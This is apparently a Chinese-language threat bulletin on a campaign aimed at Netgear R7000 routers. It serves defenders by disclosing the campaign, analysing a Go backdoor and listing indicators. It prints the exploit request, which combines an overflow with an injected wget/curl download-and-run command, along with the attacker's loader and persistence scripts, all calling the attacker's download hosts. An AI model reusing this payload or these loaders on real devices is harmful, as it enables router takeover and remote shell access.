Minav 威胁快讯

Exploit


 * 
   
   
   攻击目标:是网件路由器，Netgear_R7000。
   

 * 
   
   
   攻击载荷:
   


POST /upgrade_check.cgi HTTP/1.1
Host: xxxxxxxx
Content-Disposition: AAAA
Content-Length: 1575
Content-Type: application/octet-stream
name="mtenFWUpload"

*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone && chmod +x /tmp/zone  && /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone && chmod +x /tmp/zone  && /tmp/zone.ZZZZZZZZ




Bash


虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。


hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh 
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh



文件内容是简单的下载执行。


 * deploy.sh


wait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`
chmod +x /tmp/zon
/tmp/zon >/dev/null &



 * zonesetup.sh


#!/bin/sh
sh=`head  /dev/urandom  |  tr -dc A-Za-z0-9`
f=`echo $sh | cut -c 3-9`
wait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`
chmod +x /tmp/$f
/tmp/$f



 * zoneController.sh


#!/bin/sh
while true
do
    bin=`ps ax|grep -v grep|grep /tmp/apached`
    if [ -z "$bin" ]; then
        wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`
        chmod +x /tmp/apached
        /tmp/apached >/dev/null &
    fi
    sleep 6000
done





ELF Malware


 * 文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。





 * 
   
   
   样本分类：
   
   
   分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。
   
   
   

 * 
   
   
   通信方式：
   
   
   1. tls加密，CC协议格式是JSON。
   
   
   
   
   
   2. 上线包格式
   
   
   {"flags":"LX","localip":"192.168.68.112","mac":"000111111111","version":"1.0.0"}
   
   

 * 
   
   
   基本功能分析：
   
   
   通过分析主函功能逻辑可知样本目前的主要功能大致如下：
   


早期样本(1.0.0)：


0x5    创建交互bash  
0x8    可能是关闭交互bash  
0x9    创建后台进程  
0x10   执行bash命令  
0xf    下载文件  
0x12/0x13 可能是检索文件名  
0x14    遍历目录  
0x16    退出  
0x19    收集主机配置信息  



近期更新情况(1.1.8):


0x1.  汇报进程状态
0x2.  (无实际含义)
0x4.  交互式 bash
0x5/0x7 辅助转发交互式Bash 的输入输出 
0x8   以后台任务的形式执行 Bash 命令
0x9   直接执行一条 bash 命令
0xE.  协程形式运行一个可执行文件
0x11/0x12  检查文件状态
0x15.  退出控制
0x17   收集主机信息(CPU利用率，内存大小，等)



 * 资源解密还原


在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：





将所有密文内容还原后，内容如下：


0 sthwrt.ns01.us
1 uptime
2 days,
3 mac
4 flags
5 version
6 ip
7 /bin/bash
8 /bin/sh
9 /usr/bin/bash
10 /usr/bin/sh
11 segment
12 connected
13 df | grep /$ | awk '{print $(NF-1)}'
14 disk
15 mem
16 cpu



其中 sthwrt.ns01.us 为 CC 域名，df | grep /$ | awk '{print $(NF-1)}' 为查询磁盘使用率时用到的命令。



IOCs


# download URL
hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/test
hxxps://minavgmax.dynamic-dns.net/static/zone.
hxxps://minavgmax.dynamic-dns.net/static/zone.aarch64
hxxps://minavgmax.dynamic-dns.net/static/zone.arm
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7n
hxxps://minavgmax.dynamic-dns.net/static/zone.armv5l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv6l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv7l
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp
hxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE
hxxps://minavgmax.dynamic-dns.net/static/zone.i386
hxxps://minavgmax.dynamic-dns.net/static/zone.i486
hxxps://minavgmax.dynamic-dns.net/static/zone.i686
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.x64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86-64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk

hxxps://sinaiot.dns05.com/static/*
hxxps://139.180.185.238/static/*


# md5 
b52f349561344456505142fb18a9148
8dc537e7ed8426e7cef506757d9e5ce2
20ce42910f909774e39f44f405f6a6d6
84d59d96d682c06f5161f02d3a26297d
1302d1fe28f49160cb5681bdf02cc3f2
b09b23c72cfd26bd137af4645292a86b
b097f66632fcd9da0985256439c650e1
cfa031b737d185c385e40b3db0e13f66
f13add3a99ac3112704e10ce97c48430
f60cd6afa023fcc5559175cfc1c9c6b9
a23bea2d3f1cf4ea0ba32d883c8c6ca1


# c2
sthwrt.ns01.us 80
sinaiot.dns05.com 27815
minavgmax.dynamic-dns.net 27815